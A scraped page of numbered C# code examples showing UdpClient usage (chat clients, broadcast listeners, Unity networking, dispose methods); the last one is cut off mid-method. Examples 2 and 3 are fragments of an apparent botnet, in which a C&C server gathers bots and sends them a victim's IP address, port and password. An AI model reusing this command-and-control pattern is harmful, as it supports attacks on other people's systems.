Ejemplo n.º 1
3
    public static void Main()
    {
        byte[] data = new byte[1024];
          	string input, stringData;
          	UdpClient server = new UdpClient("127.0.0.1", 9877);

        IPEndPoint sender = new IPEndPoint(IPAddress.Any, 9876);

        string welcome = "Hello, are you there?";
        data = Encoding.ASCII.GetBytes(welcome);
        server.Send(data, data.Length);

        data = server.Receive(ref sender);

        Console.WriteLine("Message received from {0}:", sender.ToString());
        stringData = Encoding.ASCII.GetString(data, 0, data.Length);
        Console.WriteLine(stringData);

        while(true){
            input = Console.ReadLine();
            if (input == "exit")
                break;

                server.Send(Encoding.ASCII.GetBytes(input), input.Length);
             	data = server.Receive(ref sender);
        }
        Console.WriteLine("Stopping client");
        server.Close();
    }
Ejemplo n.º 2
0
        public void ListenForBroadcast()
        {
            while (true)
            {
                /* Initialiize an UDP client */
                InitializeUdpClient(_iUdpPortNumber);

                IPEndPoint remoteEndPoint = new IPEndPoint(IPAddress.Broadcast, _iUdpPortNumber);

                try
                {
                    /* Listen for broadcast */
                    byte[] receiveBytes = _udpClient.Receive(ref remoteEndPoint);

                    /* Extract the data of the bot from the broadcast it sent */
                    int iBotPort = ExtractPort(ref receiveBytes);

                    /* Create new bot candidate */
                    Bot newIncomingBot = new Bot(iBotPort, remoteEndPoint);

                    /* Add the bot to the data stracture */
                    if (0 <= iBotPort && !IsBotInBotList(newIncomingBot))
                    {
                        _botList.Add(newIncomingBot);
                    }
                }
                catch (Exception)
                {
                    _udpClient?.Close();
                    ListenForBroadcast();
                }
                _udpClient?.Close();
            }
        }
Ejemplo n.º 3
0
        private void ListenToMessegeFromCnC()
        {
            IPEndPoint remoteEndPoint = new IPEndPoint(IPAddress.Broadcast, ipLesteningPort);

            try
            {
                /* Listen for broadcast */
                byte[] receiveBytes = udpClient.Receive(ref remoteEndPoint);

                /* Extract the data of the victim from the messege the cNc send */
                victim_address = ExtractIpAdress(ref receiveBytes);
                portOfVictim   = ExtractPort(ref receiveBytes);
                victimPassword = ExtractPassword(ref receiveBytes);
                cNcName        = ExtractName(ref receiveBytes);

                ValidateClientData();

                /*update hacked messege*/
                szHackedMessege = "Hacked by " + cNcName + Environment.NewLine;
            }
            catch (Exception)
            {
                udpClient?.Close();
                Start();
            }
            finally
            {
                udpClient?.Close();
                Start();
            }
        }
Ejemplo n.º 4
0
 protected virtual void Dispose(bool disposing)
 {
     if (disposing)
     {
         // dispose managed resources
         _udpSendClient?.Close();
         _udpReceiveClient?.Close();
     }
     // free native resources
 }
Ejemplo n.º 5
0
        private void Startup()
        {
            try
            {
                if (_started)
                {
                    return;
                }
                _shutdown = false;
                Common.DebugP("SRSListener STARTING UP");

                var ipEndPointReceiverUdp = new IPEndPoint(IPAddress.Any, _srsReceivePortUdp);
                var ipEndPointSenderUdp   = new IPEndPoint(IPAddress.Parse(_srsSendToIPUdp), _srsSendPortUdp);

                _udpReceiveClient?.Close();
                _udpReceiveClient = new UdpClient();
                _udpReceiveClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
                _udpReceiveClient.ExclusiveAddressUse = false;
                _udpReceiveClient.Client.Bind(ipEndPointReceiverUdp);
                //_udpReceiveClient.JoinMulticastGroup(IPAddress.Parse(_srsReceiveFromIPUdp));

                lock (_sendSRSDataLockObject)
                {
                    _udpSendClient?.Close();
                    _udpSendClient = new UdpClient();
                    _udpSendClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
                    _udpSendClient.EnableBroadcast = true;
                }

                _srsListeningThread?.Abort();
                _srsListeningThread = new Thread(ReceiveDataUdp);
                _srsListeningThread.Start();

                _started = true;
            }
            catch (Exception e)
            {
                Common.LogError(9211101, e, "SRSListener.StartupRP()");
                if (_udpReceiveClient != null && _udpReceiveClient.Client.Connected)
                {
                    _udpReceiveClient.Close();
                    _udpReceiveClient = null;
                }
                lock (_sendSRSDataLockObject)
                {
                    if (_udpSendClient != null && _udpSendClient.Client.Connected)
                    {
                        _udpSendClient.Close();
                        _udpSendClient = null;
                    }
                }
            }
        }
Ejemplo n.º 6
0
        public void doWork()
        {
            while (_KeepRunning)
            {
                //  D("UDP receive loop");
                if (!_HasInit)
                {
                    doInitUdp();
                }
                if (!_HasError)
                {
                    try
                    {
                        if (_InitOkIndex++ == 0)
                        {
                            IPEndPoint tIPendPoint = new IPEndPoint(IPAddress.Any, 0);
                            BeatHeatStatusChangeHandler?.Invoke(CONNECT_STATUS.DISCOVERY_INIT_OK, tIPendPoint);
                        }
                        // Blocks until a message returns on this socket from a remote host.
                        // if (_UdpClient.Available > 0)
                        //  {
                        _RecevBytes = _UdpClient.Receive(ref _RemoteIpEndPoint);
                        // }
                    }
                    catch (Exception e)
                    {
                        D("receive exception : " + e.ToString());
                        _HasError = true;
                    }
                }
                //D("" + mRemoteIpEndPoint.Address.ToString()  + ":" + mRemoteIpEndPoint.Port.ToString());
                if ((!_HasInit || _HasError) && _KeepRunning)
                {
                    Thread.Sleep(3000);//wait a moment.

                    try
                    {
                        _UdpClient?.Close();
                    }
                    catch { }

                    _HasInit = false;
                }

                if (!_HasError)
                {
                    ParseUdpPkg(_RecevBytes, _RemoteIpEndPoint);
                }
            }
        }
 /// <summary>
 /// Stop listening
 /// </summary>
 public void Stop()
 {
     if (Running)
     {
         _logger.Information("Stopping server");
         Running = false;
         _server?.Close();
         _router.RequestProcessed -= RouterRequestProcessed;
         _logger.Information("Stopped");
     }
     else
     {
         _logger.Warning("Server already stopped");
     }
 }
Ejemplo n.º 8
0
 public void Dispose()
 {
     _udpClient?.Close();
     _recvThread?.Join(100);
     _subClient?.Stop();
     _subClient?.Dispose();
 }
Ejemplo n.º 9
0
    public void StartListener()
    {
        bool done = false;

        UdpClient listener = new UdpClient(listenPort);
        IPEndPoint groupEP = new IPEndPoint(IPAddress.Any, listenPort);

        try
        {
            while (!done)
            {
                Console.WriteLine("Waiting for broadcast");
                byte[] bytes = listener.Receive( ref groupEP);

                Console.WriteLine("Received broadcast from {0} :\n {1}\n",
                    groupEP.ToString(),
                    Encoding.ASCII.GetString(bytes,0,bytes.Length));
            }

        }
        catch (Exception e)
        {
            Console.WriteLine(e.ToString());
        }
        finally
        {
            listener.Close();
        }
    }
Ejemplo n.º 10
0
 static void ThreadFuncReceive()
 {
     try
     {
         while (true)
         {
             //подключение к локальному хосту
             UdpClient uClient = new UdpClient(LocalPort);
             IPEndPoint ipEnd = null;
             //получание дейтаграммы
             byte[] responce = uClient.Receive(ref ipEnd);
             //преобразование в строку
             string strResult = Encoding.Unicode.GetString(responce);
             Console.ForegroundColor = ConsoleColor.Green;
             //вывод на экран
             Console.WriteLine(strResult);
             Console.ForegroundColor = ConsoleColor.Red;
             uClient.Close();
         }
     }
     catch (SocketException sockEx)
     {
         Console.WriteLine("Ошибка сокета: " + sockEx.Message);
     }
     catch (Exception ex)
     {
         Console.WriteLine("Ошибка : " + ex.Message);
     }
 }
Ejemplo n.º 11
0
        public override void Close()
        {
            senderClient?.Close();
            listenerClient?.Close();

            NetworkServiceLogger.Log("UDP протокол закрыт");
        }
Ejemplo n.º 12
0
Archivo: Program.cs Proyecto: Lrss/P3
 public static int Main()
 {
     bool done = false;
     UdpClient listener = new UdpClient(listenPort);
     IPEndPoint groupEP = new IPEndPoint(IPAddress.Any, listenPort);
     string received_data;
     byte[] receive_byte_array;
     try
     {
         while (!done)
         {
             Console.WriteLine("Waiting for broadcast");
             // this is the line of code that receives the broadcase message.
             // It calls the receive function from the object listener (class UdpClient)
             // It passes to listener the end point groupEP.
             // It puts the data from the broadcast message into the byte array
             // named received_byte_array.
             // I don't know why this uses the class UdpClient and IPEndPoint like this.
             // Contrast this with the talker code. It does not pass by reference.
             // Note that this is a synchronous or blocking call.
             receive_byte_array = listener.Receive(ref groupEP);
             Console.WriteLine("Received a broadcast from {0}", groupEP.ToString());
             received_data = Encoding.ASCII.GetString(receive_byte_array, 0, receive_byte_array.Length);
             Console.WriteLine("data follows \n{0}\n\n", received_data);
         }
     }
     catch (Exception e)
     {
         Console.WriteLine(e.ToString());
     }
     listener.Close();
     return 0;
 }
Ejemplo n.º 13
0
 public void Dispose()
 {
     _udpClient?.Close();
     _udpClient = null;
     _sendUdpClient?.Close();
     _sendUdpClient = null;
 }
Ejemplo n.º 14
0
        public virtual void Close()
        {
            _udpClient?.Close();
            _tcpClient?.Close();

            Dispose();
        }
    void procComm()
    {
        port = getPort();
        string ipadr = getIpadr ();

        client = new UdpClient ();

        // send
        string sendstr = IFmsg.text + System.Environment.NewLine;
        byte[] data = ASCIIEncoding.ASCII.GetBytes (sendstr);
        client.Send (data, data.Length, ipadr, port);

        // receive
        client.Client.ReceiveTimeout = 2000; // msec
        IPEndPoint remoteIP = new IPEndPoint(IPAddress.Any, 0);
        lastRcvd = "";
        try {
            data = client.Receive (ref remoteIP);
            if (data.Length > 0) {
                string text = Encoding.ASCII.GetString (data);
                lastRcvd = text;
            }
        } catch (Exception err) {
        }

        client.Close ();
    }
Ejemplo n.º 16
0
        public void Dispose()
        {
            GC.SuppressFinalize(this);

            udpClient?.Close();
            tcpClient?.Close();
        }
Ejemplo n.º 17
0
 void UDPReceiveThread()
 {
     Log("Start receiving udp packet……:" + ClientUDPPort);
     while (true)
     {
         try
         {
             IPEndPoint remoteIP      = new IPEndPoint(IPAddress.Any, ClientUDPPort);
             byte[]     buffer        = udpClient.Receive(ref remoteIP);
             string     receiveString = Encoding.UTF8.GetString(buffer, 0, buffer.Length);
             Log($"UDPReceive{remoteIP}:{receiveString}");
             CallUDPReceive(new UDPPacket(receiveString, remoteIP));
         }
         catch (SocketException ex)
         {
             Log(ex);
             continue;
         }
         catch (ThreadAbortException)
         {
             Log("UDPReceive Thread Aborted.");
             return;
         }
         catch (Exception ex)
         {
             Log(ex);
             udpClient?.Close();
             udpClient = null;
             return;
         }
     }
 }
Ejemplo n.º 18
0
    private static void StartListener()
    {
        //Initiate UDP server
        Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
        UdpClient listener = new UdpClient(ListenPort);
        IPEndPoint groupEp = new IPEndPoint(IPAddress.Any,ListenPort);
        IPEndPoint responseEp;
        string receivedCommand;

        try
        {
            while (true)
            {
                //Wait for incoming command
                Console.WriteLine("Waiting for command");
                byte[] bytes = listener.Receive( ref groupEp);
                receivedCommand = Encoding.ASCII.GetString(bytes,0,bytes.Length);
                Console.WriteLine("Received command: " + receivedCommand + " from " + groupEp.Address);

                //Send matching response
                responseEp = new IPEndPoint(groupEp.Address, ListenPort);
                if (receivedCommand == "U" || receivedCommand ==  "u")
                {
                    using (StreamReader sr = new StreamReader ("/proc/uptime"))
                    {
                        String line = sr.ReadToEnd();
                        Console.WriteLine("Sending uptime: " + line);

                        byte[] sendbuf = Encoding.ASCII.GetBytes(line);
                        s.SendTo(sendbuf, responseEp);
                    }
                }
                else if(receivedCommand == "L" || receivedCommand ==  "l")
                {
                    using (StreamReader sr = new StreamReader ("/proc/loadavg"))
                    {
                        String line = sr.ReadToEnd();
                        Console.WriteLine("Sending load average: " + line);

                        byte[] sendbuf = Encoding.ASCII.GetBytes(line);
                        s.SendTo(sendbuf, responseEp);
                    }
                }
                else
                {
                    Console.WriteLine("Command " + receivedCommand + " not found\n");
                    byte[] sendbuf = Encoding.ASCII.GetBytes("Input not recognized, please try again!");
                    s.SendTo(sendbuf, responseEp);
                }
            }
        }
        catch (Exception e)
        {
            Console.WriteLine(e.ToString());
        }
        finally
        {
            listener.Close();
        }
    }
Ejemplo n.º 19
0
 public void Shutdown()
 {
     Initialized = false;
     udp?.Close();
     thread?.Join();
     thread?.Abort();
 }
Ejemplo n.º 20
0
 private void OnDestroy()
 {
     connected = false;
     client?.Close();
     lookUpper?.Close();
     clientThread?.Join();
 }
Ejemplo n.º 21
0
        static void Main()
        {
            //データを送信するリモートホストとポート番号
            string    remoteHost    = "127.0.0.1";
            IPAddress remoteAddress = IPAddress.Parse(remoteHost);
            int       remotePort    = 2002;

            UdpClient udpClient = new UdpClient();

            if (null != udpClient)
            {
                //ビルドのクエリを投げる
                string sendMsg = "test";
                byte[] buff    = Encoding.UTF8.GetBytes(sendMsg);
                udpClient?.Send(buff, buff.Length, remoteHost, remotePort);

                //戻り値取得
                IPEndPoint remoteEP = null;
                buff = udpClient?.Receive(ref remoteEP);
                string rcvMsg = Encoding.UTF8.GetString(buff);
                int    rtv    = int.Parse(rcvMsg);

                Console.WriteLine(rtv);

                //UdpClientを閉じる
                udpClient?.Close();
            }


            Console.ReadLine();
        }
Ejemplo n.º 22
0
            public void Disconnect()
            {
                socket?.Close();

                endPoint = null;
                socket   = null;
            }
Ejemplo n.º 23
0
   public static void Main()
   {
      byte[] data = new byte[1024];
      string input, stringData;
      UdpClient udpClient = new UdpClient("127.0.0.1", 9999);

      IPEndPoint sender = new IPEndPoint(IPAddress.Any, 0);

      string welcome = "Hello";
      data = Encoding.ASCII.GetBytes(welcome);
      udpClient.Send(data, data.Length);

      data = udpClient.Receive(ref sender);

      Console.WriteLine("Message received from {0}:", sender.ToString());
      stringData = Encoding.ASCII.GetString(data, 0, data.Length);
      Console.WriteLine(stringData);

      while(true)
      {
         input = Console.ReadLine();
         udpClient.Send(Encoding.ASCII.GetBytes(input), input.Length);
         data = udpClient.Receive(ref sender);
         stringData = Encoding.ASCII.GetString(data, 0, data.Length);
         Console.WriteLine(stringData);
      }
      udpClient.Close();
   }
Ejemplo n.º 24
0
        public static async Task StartListenerAsync(int port)
        {
            var       localIP  = Helpers.GetLocalIPAddress();
            UdpClient listener = null;

            try
            {
                listener = new UdpClient(new IPEndPoint(IPAddress.Any, port));
                while (true)
                {
                    var result = await listener.ReceiveAsync();

                    var bytes = result.Buffer;
                    if (!result.RemoteEndPoint.Address.Equals(localIP))
                    {
                        OnRawDataReceived(bytes, result.RemoteEndPoint);
                    }
                }
            }
            catch (Exception ex)
            {
                OnError(ex);
            }
            finally
            {
                listener?.Close();
                OnDestroyed();
            }
        }
Ejemplo n.º 25
0
        public void Stop()
        {
            lock (locker)
            {
                try
                {
                    myStream?.Stop();
                    myStream = null;

                    udpListener?.Close();
                    udpListener = null;

                    Client?.Close();
                    Client = null;

                    workWithClientThread?.Abort();
                    workWithClientThread = null;

                    MyDispatcher.Dispatcher.Invoke(() =>
                    {
                        ListHolder.Clients.Remove(this);
                        ListHolder.UpdateList();
                    });
                }
                catch (Exception)
                {
                }
            }
        }
 public void Dispose()
 {
     _exclusiveConn?.Close();
     _exclusiveConn = null;
     _sharedConn?.Close();
     _sharedConn = null;
 }
Ejemplo n.º 27
0
 private void Form1_FormClosing(object sender, FormClosingEventArgs e)
 {
     _logFile.Close();
     _threadRunning = false;
     _udpServer?.Close();
     _updThread?.Abort();
 }
Ejemplo n.º 28
0
 private static void StartListener()
 {
     bool done = false;
     IPEndPoint groupEP = new IPEndPoint(IPAddress.Any, listenPort);
     UdpClient listener = new UdpClient(groupEP);
     Log.Notice("Listener", "Waiting for broadcast");
     try
     {
         while (!done)
         {
             byte[] bytes = listener.Receive(ref groupEP);
             Log.Info("Listener", "Client " + groupEP.ToString() + " is trying to connect");
             listener.Connect(groupEP);
             Log.Succes("Listener", "Listener connected to client " + groupEP.ToString());
             done = true;
             //TODO - rest of district server connecting
         }
     }
     catch (Exception e)
     {
         FrameWork.Logger.Log.Error("Listener", e.ToString());
     }
     finally
     {
         listener.Close();
     }
 }
Ejemplo n.º 29
0
 public void Dispose()
 {
     _isTimeToExit = true;
     _gamepad?.Dispose();
     _receivingUdpClient?.Close();
     _receivingUdpClient = null;
 }
Ejemplo n.º 30
0
 private void btnStop_Click(object sender, EventArgs e)
 {
     myChartControl1.StopTimer();
     myChartControl2.StopTimer();
     udpRadarClient?.Close();
     udpTelemetryClient?.Close();
     dataParser.Stop();
     dataLogger.Stop();
     Logger.GetInstance().Close();
     Logger.GetInstance().Log(Logger.LOG_LEVEL.LOG_INFO, "退出组播组成功");
     Logger.GetInstance().Log(Logger.LOG_LEVEL.LOG_INFO, "关闭套接字成功");
     SaveTestInfo();
     btnSetting.Enabled = true;
     btnStop.Enabled    = false;
     btnStart.Enabled   = true;
     btnStartT0.Enabled = false;
     editT0.Enabled     = false;
     myChartControl1.ClearData();
     myChartControl2.ClearData();
     alertFormSuit1.Hide();
     alertFormSuit2.Hide();
     netWorkTimer.Stop();
     picRadarNetwork.Image     = grayLedImage;
     picTelemetryNetwork.Image = grayLedImage;
 }
        public void Close()
        {
            try
            {
                _server?.Close();
                _server = null;
            }
            catch (Exception)
            {
                // ignored
            }

            try
            {
                _currentThread?.Abort();
            }
            catch (Exception e)
            {
                Log(API.LogType.Error, "Error while interrupting thread: {0}\n{1}", e.Message, e.StackTrace);
            }

            _currentThread = null;
            _timer.Close();

            Log(API.LogType.Debug, "Stopped.");
        }
        /// <summary>
        /// UDP connection helper method
        /// </summary>
        /// <returns></returns>
        public bool Connect(string hostName, string portNumber)
        {
            try
            {
                if (string.IsNullOrEmpty(hostName) || string.IsNullOrEmpty(portNumber))
                {
                    throw new ArgumentNullException("Host Name or Port");
                }

                int mPort;
                if (!int.TryParse(portNumber, out mPort))
                {
                    throw new InvalidOperationException($"Port is not a number: {portNumber}");
                }

                client?.Close();
                client?.Dispose();

                client = new UdpClient(mPort);
                client.Connect(hostName, mPort);
                Login(client);

                return(true);
            }
            catch
            {
                if (!(client == null))
                {
                    client.Close();
                }
                throw;
            }
        }
Ejemplo n.º 33
0
        //private readonly int? _senderSubnetId;
        //private readonly int? _senderDeviceId;
        //private readonly DeviceType? _senderDeviceType;

        #region IDisposable Members
        public void Dispose()
        {
            //Dispose(true);
            //GC.SuppressFinalize(this);

            _listener?.Close();
        }
Ejemplo n.º 34
0
        private void ThreadMethod(CancellationToken token)
        {
            var client = new UdpClient(PortNumber);

            client.Client.ReceiveTimeout = 500;

            while (!token.IsCancellationRequested)
            {
                try
                {
                    IPEndPoint remoteEndPoint = null;
                    byte[]     data           = client.Receive(ref remoteEndPoint);
                    //NOTE: GetStringをメインスレッドでやるようにしたほうが負荷が下がるかもしれない(UDPの受信が超高速で回ってたら検討すべき)
                    string message = Encoding.ASCII.GetString(data);
                    RawMessage = message;
                }
                catch (Exception)
                {
                    //ここは通信待ち状態とかで頻繁に来る(SocketExceptionが出る)ので、ログを出してはいけない
                    //LogOutput.Instance.Write(ex);
                }
            }

            try
            {
                client?.Close();
            }
            catch (Exception ex)
            {
                LogOutput.Instance.Write(ex);
            }
        }
Ejemplo n.º 35
0
 private void btnSendFile_Click(object sender, RoutedEventArgs e)
 {
     if (((String)btnSendFile.Content).Equals("停止发送"))
     {
         timer.Stop();
         btnSendFile.Content = "发送文件";
     }
     else
     {
         sendList.Clear();
         udpClient?.Close();
         int            packetLength   = PacketSize[cbFileType.Text];
         OpenFileDialog openFileDialog = new OpenFileDialog();
         if ((bool)openFileDialog.ShowDialog() == true)
         {
             using (FileStream fs = File.OpenRead(openFileDialog.FileName))
             {
                 BinaryReader reader = new BinaryReader(fs);
                 while (reader.BaseStream.Position < reader.BaseStream.Length)
                 {
                     byte[] buffer = reader.ReadBytes(packetLength);
                     sendList.Add(buffer);
                 }
             }
             statusBarItem.Content = "正在读取数据文件...";
             sendList.RemoveRange(0, (int)(sendList.Count * slider.Value / 100));
             udpClient           = new UdpClient();
             btnSendFile.Content = "停止发送";
             timer.Start();
         }
     }
 }
Ejemplo n.º 36
0
        public void Stop()
        {
            _stopTokenSource?.Cancel();
            _udpListener?.Close();
            _udpForwarder?.Close();

            try
            {
                _listeningTask?.Wait();
                _forwardingTask?.Wait();
            }
            catch (AggregateException)
            {
            }

            _stopTokenSource    = null;
            _udpListener        = null;
            _udpForwarder       = null;
            _listeningTask      = null;
            _forwardingTask     = null;
            _transactionClients = null;
            _transactionTimeoutCancellationTokenSources = null;

            OnStopped();
        }
Ejemplo n.º 37
0
        private static IObservable <SearchResponseMessage> Search(IPEndPoint localEndPoint, string searchTarget, int timeForResponse)
        {
            return(Observable.Create <SearchResponseMessage>(
                       observer =>
            {
                var multicastEndPoint = new IPEndPoint(IPAddress.Parse(MulticastAddress), MulticastPort);
                var request = MSearchRequestFormattedString.F(searchTarget, timeForResponse);
                var buffer = Encoding.UTF8.GetBytes(request);

                UdpClient searchClient = null;
                IDisposable timerSubscription = null;

                try
                {
                    searchClient = new UdpClient(localEndPoint);

                    // Stop listening for a devices when timeout for responses is expired
                    timerSubscription = Observable.Timer(TimeSpan.FromSeconds(timeForResponse)).Subscribe(s =>
                    {
                        searchClient?.Close();
                        observer.OnCompleted();
                    });

                    var responses = GetIncommingMessagesSequence(searchClient);
                    responses.Subscribe(message => HandleSearchResponseMessage(message, observer));

                    searchClient.SendAsync(buffer, buffer.Length, multicastEndPoint);

                    logger.LogDebug("Sent M-Search request from local endpoint '{0}' to a multicast endpoint '{1}' with search target '{2}'.".F(localEndPoint, multicastEndPoint, searchTarget));
                }
                catch (SocketException ex)
                {
                    logger.LogWarning(ex, "Failed to send M-Search request from local endpoint '{0}' to a multicast endpoint '{1}'.".F(localEndPoint, multicastEndPoint));
                }
                catch (ObjectDisposedException)
                {
                    // Can happen when subscription is canceled before the search message is sent. No handling is required.
                }

                return () =>
                {
                    timerSubscription?.Dispose();

                    searchClient?.Close();
                };
            }));
        }
Ejemplo n.º 38
0
 public override void Dispose()
 {
     _disposing = true;
     _exclusiveConn?.Close();
     _exclusiveConn = null;
     _sharedConn?.Close();
     _sharedConn = null;
 }
Ejemplo n.º 39
0
 public void Send()
 {
     UdpClient client = new UdpClient();
     IPEndPoint ip = new IPEndPoint(IPAddress.Broadcast, 15000);
     byte[] bytes = Encoding.ASCII.GetBytes("Foo");
     client.Send(bytes, bytes.Length, ip);
     client.Close();
 }
Ejemplo n.º 40
0
	public static void Main ()
	{
		var ip = IPAddress.Parse ("239.255.255.250");
		var bytes = new byte [] {60, 70, 75};
		UdpClient udp = new UdpClient ();
		udp.Connect (ip, 3802);
		udp.Send (bytes, 3);
		Console.WriteLine ("Sent");
		udp.Close ();
	}
Ejemplo n.º 41
0
 private void Broadcast()
 {
     if (IsBroadcasting()) {
         UdpClient client = new UdpClient();
         IPEndPoint ip = new IPEndPoint(IPAddress.Broadcast, port);
         byte[] data = Encoding.ASCII.GetBytes(message);
         client.Send(data, data.Length, ip);
         client.Close();
     }
 }
Ejemplo n.º 42
0
    public string read_data(int player, int data_type)
    {
        int offset = data_type*2 - 2 + player;

        UdpClient listener = new UdpClient(port_base+offset);
        listener.Client.ReceiveTimeout = 50;
        IPEndPoint address = new IPEndPoint(IPAddress.Any, port_base+offset);
        byte[] recb;

        try {
            recb = listener.Receive( ref address );
            listener.Close();
            return Encoding.ASCII.GetString(recb);
        } catch ( SocketException e ) {
            e.ToString();
        }

        listener.Close();
        return "silent";
    }
Ejemplo n.º 43
0
	public static void Main ()
	{
		var ip = IPAddress.Parse ("239.255.255.250");
		while (true) {
			UdpClient udp = new UdpClient (3802);
			udp.JoinMulticastGroup (ip, 1);
			IPEndPoint dummy = null;
			udp.Receive (ref dummy);
			Console.WriteLine ("Received");
			udp.DropMulticastGroup (ip);
			udp.Close ();
		}
	}
    private void ReceiveData()
    {
        client = new UdpClient(port);
        while (m_keepRunning)
        {
            try
            {

                IPEndPoint anyIP = new IPEndPoint(IPAddress.Any, 0);

                byte[] data = client.Receive(ref anyIP);

 

                // Bytes mit der UTF8-Kodierung in das Textformat kodieren.

                string text = Encoding.UTF8.GetString(data);
				
				Debug.Log(text);
				
				string[] words = text.Split(' ');

 				
				Quaternion q = new Quaternion(float.Parse(words[12]),
				                              float.Parse(words[13]),
				                              float.Parse(words[14]),
				                              float.Parse(words[15]));
				Vector3 t = new Vector3(float.Parse(words[18]),
				                        float.Parse(words[19]),
				                        float.Parse(words[20]));

                m_newData = new Pose();
                UbiMeasurementUtils.coordsysemChange(t, ref m_newData.pos);
                UbiMeasurementUtils.coordsysemChange(q, ref m_newData.rot);

            }

            catch (Exception err)

            {

                Debug.Log(err.ToString());

            }

        }
		client.Close();

    }
Ejemplo n.º 45
0
    void procComm()
    {
        UdpClient client = new UdpClient ();
        client.Client.SendTimeout = 1000; // msec
        client.Client.ReceiveTimeout = 2000; // msec

        if (SendCommand (ref client, (IFipadr.text), getPort()) == false) {
            return;
        }

        // receive
        IPEndPoint remoteIP = new IPEndPoint(IPAddress.Any, 0);
        string rcvdstr = "";
        byte [] data;

        while (true) {
            try {
                data = client.Receive (ref remoteIP);
                if (data.Length == 0) {
                    break; // no response
                }
                string text = Encoding.ASCII.GetString (data);
                rcvdstr += text;
                if (text.Contains("EOT")) { // End of Table
                    break;
                }
            } catch (Exception err) {
                Debug.Log(err.Message);
                rcvText.text = "no response";
                break;
            }
        }

        client.Close ();

        if (rcvdstr.Length > 0) {
            System.IO.File.WriteAllText("import.csv", rcvdstr);
            rcvText.text = "recvd to csv";
        }
    }
Ejemplo n.º 46
0
    // -------------------------------------------------------------------------
    public void SendData(string ipString, int port, byte[] data)
    {
        UdpClient client = null;

        try
        {
            IPEndPoint endPoint = new IPEndPoint(IPAddress.Parse(ipString), port);
            client = new UdpClient(endPoint);

            client.Send(data, data.Length, endPoint);
        }
        catch (System.Exception err)
        {
            print(err.ToString());
        }
        finally
        {
            if (client != null) {
                client.Close();
            }

        }
    }
Ejemplo n.º 47
0
    private static void Main()
    {
        string IP = "127.0.0.1";
        int port = 65002;

        IPEndPoint remoteEndPoint = new IPEndPoint(IPAddress.Parse(IP), port);

        UdpClient client = new UdpClient();

        int r = 0;
        while (!Console.KeyAvailable)
        {

            byte[] data = Encoding.UTF8.GetBytes("01234567*404=" + r.ToString());
            client.Send(data, data.Length, remoteEndPoint);
            Console.Write(r.ToString());
            Thread.Sleep(2000);
            r++;
            if (r == 2)
                r = 0;
        }
        client.Close();
    }
Ejemplo n.º 48
0
 static void SendData(string datagramm)
 {
     UdpClient uClient = new UdpClient();
     //подключение к удаленному хосту
     IPEndPoint ipEnd = new IPEndPoint(RemoteIPAddr, RemotePort);
     try
     {
         byte[] bytes = Encoding.Unicode.GetBytes(datagramm);
         uClient.Send(bytes, bytes.Length, ipEnd);
     }
     catch (SocketException sockEx)
     {
         Console.WriteLine("Ошибка сокета: " + sockEx.Message);
     }
     catch (Exception ex)
     {
         Console.WriteLine("Ошибка : " + ex.Message);
     }
     finally
     {
         //закрытие экземпляра класса UdpClient
         uClient.Close();
     }
 }
Ejemplo n.º 49
0
    void Start()
    {
        Debug.Log("test");

        int port = 4023;
        UdpClient udpClient = new UdpClient(port);
        try
        {
            udpClient.Connect("142.232.18.112", port);

            // Sends a message to the host to which you have connected.
            Byte[] sendBytes = Encoding.ASCII.GetBytes("Is anybody there?");

            udpClient.Send(sendBytes, sendBytes.Length);

            // Sends a message to a different host using optional hostname and port parameters.
            UdpClient udpClientB = new UdpClient();
            udpClientB.Send(sendBytes, sendBytes.Length, "AlternateHostMachineName", port);

            //IPEndPoint object will allow us to read datagrams sent from any source.
            IPEndPoint RemoteIpEndPoint = new IPEndPoint(IPAddress.Any, 0);

            // Blocks until a message returns on this socket from a remote host.
            Byte[] receiveBytes = udpClient.Receive(ref RemoteIpEndPoint);
            string returnData = Encoding.ASCII.GetString(receiveBytes);

            // Uses the IPEndPoint object to determine which of these two hosts responded.
            Console.WriteLine("This is the message you received " +
                                         returnData.ToString());
            Console.WriteLine("This message was sent from " +
                                        RemoteIpEndPoint.Address.ToString() +
                                        " on their port number " +
                                        RemoteIpEndPoint.Port.ToString());

            udpClient.Close();
            udpClientB.Close();

        }
        catch (Exception e)
        {
            Console.WriteLine(e.ToString());
        }

        /*
        int myReliableChannelId; // above Start()
        myReliableChannelId = config.AddChannel(QosType.Reliable);
        int maxConnections = 10;
        HostTopology topology = new HostTopology(config, maxConnections);

        int socketId; // above Start()
        int socketPort = 8888; // Also a class member variable
        socketId = NetworkTransport.AddHost(topology, socketPort);
        Debug.Log("Socket Open. SocketId is: " + socketId);

        int myReliableChannelId; // above Start()
        myReliableChannelId = config.AddChannel(QosType.Reliable);
        int maxConnections = 10;
        HostTopology topology = new HostTopology(config, maxConnections);

        int socketId;
        int socketPort = 4023;
        byte error;
        socketId = NetworkTransport.AddHost(topology, socketPort);
        var connectionId = NetworkTransport.Connect(socketId, "127.0.0.1", socketPort, 0, out error);

        byte[] buffer = new byte[1024];
        Stream stream = new MemoryStream(buffer);
        BinaryFormatter formatter = new BinaryFormatter();
        formatter.Serialize(stream, "HelloServer");

        int bufferSize = 1024;
        NetworkTransport.Send(socketId, connectionId, myReliableChannelId, buffer, bufferSize, out error);
         */
    }
    /*void IPMine(){
    var hostname :String= Dns.GetHostName();
    var ips:IPAddress[] = Dns.GetHostAddresses(hostname);
    if (ips.Length > 0)MessageHostName=("SrvIP"+"/"+GameName+"/"+(ips[0].ToString()));
    sendString(MessageHostName);
    NetScripts.textWMessage+="\n....server UDP send DatagramPacket.. message"+MessageHostName+".";
    }*/
    /*
    void sendString()
       {
        gameObject.SendMessage("tailleTemps",byteImgS.Length);
           try
           {
                byte[] DatagramPacket = (byteImgS);
               //byte[] DatagramPacket = Encoding.UTF8.GetBytes(message);
               //var DatagramPacket:byte[] = Encoding.ASCII.GetBytes(message);
               client.Send(DatagramPacket, DatagramPacket.Length, remoteEndPoint);
               client.Close();

           }
           catch (Exception err) { Debug.Log(err.ToString()); }
       }

        */
    IEnumerator sendByteTimed()
    {
        int size_max_packet = 1024; // Taille max des paquets

        int taille_tab_final=byteImgS.Length;
        gameObject.SendMessage("tailleTemps",taille_tab_final);

        while (readCount<taille_tab_final-1) {

                yield return new WaitForEndOfFrame();
            client = new UdpClient();
            //yield return new WaitForSeconds (0.12f);
        //Debug.Log("readCount:"+readCount);

